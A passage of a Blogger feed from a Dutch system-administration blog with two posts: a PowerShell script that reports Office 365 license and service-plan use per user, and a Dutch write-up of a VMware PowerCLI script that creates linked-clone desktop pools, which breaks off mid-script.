tag:blogger.com,1999:blog-69832524812961975712024-03-08T10:10:40.355-08:00SikkepitjeSpannende systeembeheer-spinselsSikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.comBlogger21125tag:blogger.com,1999:blog-6983252481296197571.post-69311191350763264752016-10-06T03:32:00.000-07:002016-10-06T03:47:21.528-07:00Get-MsolUserLicense.ps1 : Generate a detailed report license types and service plans in use for every user in Office 365This script generates a detailed report of all license types and service plans in use by every user in Office 365. You will get one Excel sheet (CSV) per available license type in use.<br />
<a name='more'></a><pre><code><#
Get-MsolUserLicense.ps1
makes a report of license type and service plans per use , and saves one Excel-sheet (CSV) per uses license type.
Original source: https://gallery.technet.microsoft.com/scriptcenter/Export-a-Licence-b200ca2a?tduid=(26fc5a009171934296bd78c7f4dd6590)(256380)(2459594)(TnL5HPStwNw-0Z3.3otQ5VeALpBrI1CXBg)()
created by Alan Byrne
modified 20161006 by p.wiegmans@bonhoeffer.nl/sikkepitje@hotmail.com
Changed separator from comma to semi-comma, fixes formatting errors whene displayname contains comma (very common).
Changed: separate output file , one for each license type.
Changed: added timestamp to filename.
Changed: Fetching all users once, instead of every license type, givea huge speed boost.
#>
$VerbosePreference = 'Continue' # Makes verbose meldingen zichtbaar : Modify to your needs
# The Reports will be written to files in the current working directory
# Connect to Microsoft Online IF NEEDED
#write-host "Connecting to Office 365..."
#Import-Module MSOnline
#Connect-MsolService -Credential $Office365credentials
# Get a list of all licences that exist within the tenant
$licensetype = Get-MsolAccountSku | Where {$_.ConsumedUnits -ge 1}
Write-Verbose "License types are:"
$lts = $licensetype| select -expandproperty accountskuid | Format-Table -Autosize | Out-String
Write-Verbose $lts
Write-Verbose "Getting all users (may take a while) ..."
$allusers = Get-MsolUser -all
Write-Verbose ("There are " + $allusers.count + " users in total")
# Loop through all licence types found in the tenant
foreach ($license in $licensetype)
{
# Build and write the Header for the CSV file
$LicenseTypeReport = "Office365_" + ($license.accountskuid -replace ":","_") + "_" + (Get-Date -Format "yyyyMMdd-HHmmss") + ".csv"
Write-Verbose ("New file: "+ $LicenseTypeReport)
$headerstring = "DisplayName;UserPrincipalName;JobTitle;Office;AccountSku"
foreach ($row in $($license.ServiceStatus))
{
$headerstring = ($headerstring + ";" + $row.ServicePlan.servicename)
}
Out-File -FilePath $LicenseTypeReport -InputObject $headerstring -Encoding UTF8 -append
write-Verbose ("Gathering users with the following subscription: " + $license.accountskuid)
# Gather users for this particular AccountSku
$users = $allusers | where {$_.isLicensed -eq "True" -and $_.licenses.accountskuid -contains $license.accountskuid}
# Loop through all users and write them to the CSV file
foreach ($user in $users) {
$thislicense = $user.licenses | Where-Object {$_.accountskuid -eq $license.accountskuid}
$datastring = (($user.displayname -replace ","," ") + ";" + $user.userprincipalname + ";" + $user.Title + ";" + $user.Office + ";" + $license.SkuPartNumber)
foreach ($row in $($thislicense.servicestatus)) {
# Build data string
$datastring = ($datastring + ";" + $($row.provisioningstatus))
}
Out-File -FilePath $LicenseTypeReport -InputObject $datastring -Encoding UTF8 -append
}
}
write-Verbose ("Script Completed.")</code></pre>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com12tag:blogger.com,1999:blog-6983252481296197571.post-58543052548119605192016-06-23T02:42:00.000-07:002017-06-26T00:26:19.648-07:00Maak een Automatic Linked Clone desktop pool aan met PowerShell (VMware PowerCLI) versie 2 Hallo Wereld,<br />
<br />
Het script dat ik eerder publiceerde om automatisch een Linked Clone Pool van View desktops aan te maken heeft een aantal wijzigingen ondergaan waarvan ik hier verslag doe.<br />
<br />
Traditioneel maak ik nieuwe pool per categorie gebruikers. Ik hanteer 3 categorien: Medewerkers, Studenten en Test , handig geidentificeerd met de letter MW, ST en TS.<br />
<br />
Allereerst is er de vereiste om per pool te kunnen bepalen op welke storage deze komt. Op mijn 6 virtualisatiehosts voor desktops heb ik elk een SSD waarop de replica komen en de kladschijven voor elke VM.<br />
<br />
<a name='more'></a><br /><br />
Daarnaast hebben we twee domeinen zodat ik nu moet specificeren in welk domein de desktops moeten worden uitgerold.<br />
<br />
Ook de documentatie van het script meer volgende het aanbevolen formaat, met synopsis. description en uitleg per parameter en wat deze doet, welke waarde er wordt verwacht, enz.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><#</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.SYNOPSIS</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Maak een nieuwe desktoppool van automatic linked clones voor medewerkers,</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> studenten, plus of test. Maakt 1 desktop in de nieuwe pool.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.DESCRIPTION</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> 20160622 Paul Wiegmans (p.wiegmans@bonhoeffer.nl)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Gebruik:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> * start een elevated PowerShell "run as administrator" op server BCVIEW1</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> * ga naar C:\Scripts</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.PARAMETER Category</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Deze verplichte parameter duidt categorie van de desktoppool aan. </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Dit kan één van vier aanduidingen zijn:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> "st" voor studenten</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> "mw" voor medewerkers</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> "pl" voor plus</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> "ts" voor test</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.PARAMETER PoolVersion</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Deze verplichte parameter bevat de poolversie zoals die wordt aangeduid in de PoolId</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> bijvoorbeeld "403" . De Pool_id van de aan te maken desktoppool wordt hiervan afgeleid.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.PARAMETER MasterVM</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> De naam van het basisimage , </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> bijvoorrbeeld "/Castricum/vm/Desktop Sources/Windows 7 Basis v4" .</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Niet verplicht, neemt bij verstek de waarde in de parameterblock. </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.PARAMETER MasterSnapshot</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Dit is de aanduiding van de snapshot zoals die wordt getoond in View Administrator Console. </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> De Snapshot wordt aangeduid als een pad van snapshotnamen, bijvoorbeeld "/01/02/03/04/05"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.PARAMETER DatastoreSpecSet</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Dit bevat een string met de namen van de ESX-hosts waarop de pool wordt aangemaakt. </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Intern wordt dit omgezet naar een Datastore-specificatie. bijvoorbeeld "ESX5;ESX6;ESX7". </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.EXAMPLE</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Maak een pool voor studenten met versie 3.15</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> .\Add-BCPool.ps1 -Category ts -PoolVersion 603 `</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> -MasterVM "/Castricum/vm/Desktop Sources/Windows 7 Basis v6" `</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> -MasterSnapshot "/01/03" </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.EXAMPLE</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Maak een pool voor studenten met versie 3.15</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> .\Add-BCPool.ps1 st 315 </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">.NOTES</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Controleer na uitvoeren van dit script in View Administrator of de pool goed zijn gemaakt,</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> zonder rood kruis. Zie je een rood kruis, dan fout oplossen en provisioning inschakelen. </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> BELANGRIJK:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Zorg ervoor dat de default waarde van parameter $MasterSnapshot overeenstemt met </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> de naam van het snapshot van het actuele basisimage!</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> BELANGRIJK:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Zorg ervoor dat de default waarde van parameter $DatastoreSpecSet overeenstemt met </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> de (SSD) datastores waarop de View desktops moeten worden uitgerold! Wijzig naar behoefte.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> BELANGRIJK:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Verhoog poolsize van nieuwe pools met maximaal 1 tegelijk. Nog steeds kan</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> de SAN niet meer dan 1 template tegelijk kopieren. Er komt een lock op, en </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> de volgende geeft een fout, en VMware wacht niet tot het klaar is, maar gaat gelijk door.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> dus verhoog met 1 tegelijk totdat alle hosts een template op hun SSD hebben.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Wijzigingen:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> 20130819</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> extra parameter: -OSVersion bevat versie van Windows: 1 cijfer is "7" of "8"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> 20160218 </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> toegevoegd: Try .. Catch, zodat script stopt bij de eerste onherstelbare fout.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Verwijderd: $DesktopCount; het script maakt altijd een pool met één VM.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Verwijderd: $RemoveOldPool en code die oude pool verwijdert.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> TO DO:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [ ] maak pool_id en displayname OS-onafhankelijk , verwijder "Windows 7" en maak dit variable.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> eigenlijk moet ik hier try .. catch blokken in zetten. zodat bij de eerste fout</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> het script afbreekt.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> 20160218 uitrollen van 1 VM duurt nu 12 minuten, van begin tot inlog-klaar</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> (waarvan 9 minuten voor alleen clonen van replica).</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> 20160622 Tijdelijk hebben Frank en ik afgesproken dat we testpools uitrollen </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> alleen op esx4 en esx5, en studenten en medewerkerpools op esx6,esx7,esx8 en esx9.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Dit is om te zorgen dat esx4 en esx5 vrij zijn om migratie op uit te voeren,</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> dingen te testen, enz.</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">#></span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"># VMware PowerCli extensies worden geladen in systemprofile. Anders:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">#. "C:\Program Files\VMware\VMware View\Server\extras\PowerShell\add-snapin.ps1"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">param(</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [Parameter(Mandatory = $True, Position = 1)]</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [ValidateSet("mw","st","pl","ts")]</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [string]$Category # $Category is {"mw"|"st"|"pl"|"ts"}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ,</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [Parameter(Mandatory = $True, Position = 2)]</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [ValidatePattern("[0-9][0-9][0-9]")] # Valid format is 3 numbers !</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [string]$PoolVersion # bijv "802"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ,</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [Parameter(Mandatory = $False)]</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [string]$MasterVM="/Castricum/vm/Desktop Sources/Windows 7 View v8" # Master VM</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ,</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [Parameter(Mandatory = $False)]</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [string]$MasterSnapshot="/02/10/11/13" # "/01/02/03"<span class="Apple-tab-span" style="white-space: pre;"> </span># Master snapshot path </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ,</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [Parameter(Mandatory = $False)]</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [string]$OSVersion="7"<span class="Apple-tab-span" style="white-space: pre;"> </span> # 1 cijfer windows versie</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ,</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [Parameter(Mandatory = $False)]</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [string]$CustSpec="W7 View Desktops v8.01 - Pro Key"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ,</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [Parameter(Mandatory = $False)]</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> [string]$DatastoreSpecSet="ESX4;ESX5;ESX6;ESX7;ESX8;ESX9" # bijvoorbeeld "ESX5;ESX6;ESX7;ESX8;ESX9"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">$ComposerDomain = "bonhoeffercollege.local" ## AANPASSEN wanneer nieuwe composer domein werkt</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">$DisplayVersion = "v{0}.{1}" -f ($PoolVersion[0], $PoolVersion.Remove(0,1))</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"># ---- setting more parameters ----</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">if ($Category -eq "mw") {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserType = "Medewerkers" # Studenten, Medewerkers, Plus of Test</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserGroup = "Medewerkers"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserTag = "MW" </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserName = "Medewerker"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $DatastoreSpecSet="ESX6;ESX7;ESX8;ESX9"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">} </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">elseif ($Category -eq "st") {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserType = "Studenten" # Studenten, Medewerkers, Plus of Test</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserGroup = "Studenten"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserTag = "ST" </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserName = "Leerling"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $DatastoreSpecSet="ESX6;ESX7;ESX8;ESX9"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">elseif ($Category -eq "pl") {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserType = "Plus" # Studenten, Medewerkers, Plus of Test</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserGroup = "Plusgroep"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserTag = "PL" </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $Username = "Plus"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $DatastoreSpecSet="ESX6;ESX7;ESX8;ESX9"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">} </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">elseif ($Category -eq "ts") {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserType = "Test" # Studenten, Medewerkers, Plus of Test</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserGroup = "DL View Limited Test Users"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $UserTag = "TS" </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $Username = "Test"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $DatastoreSpecSet="ESX4;ESX5"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">else {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Throw "Category '$Category' is not a valid PoolLabel"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"># -------------------</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">$DatastoreSpecs = ($DatastoreSpecSet.split(";") | %{ "[Aggressive,OS,data]/Castricum/host/Desktops/LOCAL-{0}-SSD" -f $_ } ) -join ";" </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">$poolparm = @{</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">### Pool-specifieke parameters</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> pool_id = "W{0}{1}{2}" -f ($OSVersion, $UserTag, $PoolVersion)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> displayName = "{0} {1}.{2}" -f ($UserName, $PoolVersion[0], $PoolVersion.Remove(0,1))</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> namePrefix = "VD" + $UserTag + $PoolVersion + "{n:fixed=3}"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> folderId = $UserType</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> organizationalUnit = "OU={0},OU=Windows {1},OU=Virtual Desktops,OU=MyBusiness" -f ($UserType, $OSVersion)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> resourcePoolPath = "/Castricum/host/Desktops/Resources/{0}" -f $UserType</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> headroomCount = "1" # number of spare (powered on) desktop</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> maximumCount = "1" # max number of desktops</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> minimumCount = "1"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Disabled = $true</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> parentVMPath = $MasterVM</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> parentSnapshotPath = $MasterSnapshot</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> vmFolderPath = "/Castricum/vm/View W{0} Desktops" -f ($OSVersion)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> # Origineel:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> # datastoreSpecs = "[Aggressive,OS,data]/Castricum/host/Desktops/LOCAL-ESX9-SSD;[Aggressive,OS,data]/Castricum/host/Desktops/LOCAL-ESX8-SSD;[Aggressive,OS,data]/Castricum/host/Desktops/LOCAL-ESX7-SSD;[Aggressive,OS,data]/Castricum/host/Desktops/LOCAL-ESX6-SSD;[Aggressive,OS,data]/Castricum/host/Desktops/LOCAL-ESX5-SSD;[Aggressive,OS,data]/Castricum/host/Desktops/LOCAL-ESX4-SSD"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> datastoreSpecs = $DatastoreSpecs</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">### onveranderde parameters</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> allowProtocolOverride = $true</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> autoLogoffTime = 30</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> #customizationSpec = $Null # gebruik QuickPrep</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> #customizationSpec = "BW7-Capture-customization-specs" </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> #customizationSpec = "W7 Pro View Desktops v6.01" </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> customizationSpec = $CustSpec</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> deletePolicy = "Default"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> flashQuality = "NO_CONTROL"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> flashThrottling = "DISABLED"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> isUserResetAllowed = $true</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> persistence = "NonPersistent"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> powerPolicy = "AlwaysOn"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> DefaultProtocol = "PCOIP"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> isProvisioningEnabled = $true</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> SuspendProvisioningOnError = $false # $true</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> refreshPolicyType = "Never"</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> composer_ad_id = (get-composerdomain -domain $ComposerDomain).composer_ad_id</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> vc_id = (Get-ViewVC).vc_id</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose ("{0} Pool aanmaken..." -f (Get-Date -format "s"))</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose (" Pool_id: {0}" -f $poolparm.pool_id)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose (" displayName: {0}" -f $poolparm.displayName)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose (" namePrefix: {0}" -f $poolparm.namePrefix)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose (" folderId: {0}" -f $poolparm.folderId)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose (" organizationalUnit:{0}" -f $poolparm.organizationalUnit)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose (" resourcePoolPath: {0}" -f $poolparm.resourcePoolPath)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose (" DatastoreSpecSet: {0}" -f $DatastoreSpecSet)</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose (" Tijd is nu: {0}" -f (Get-Date))</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Try {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Add-AutomaticLinkedClonePool @poolparm -ea:stop</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Catch {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $ErrorMessage = $_.Exception.Message</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $FailedItem = $_.Exception.ItemName</span><br />
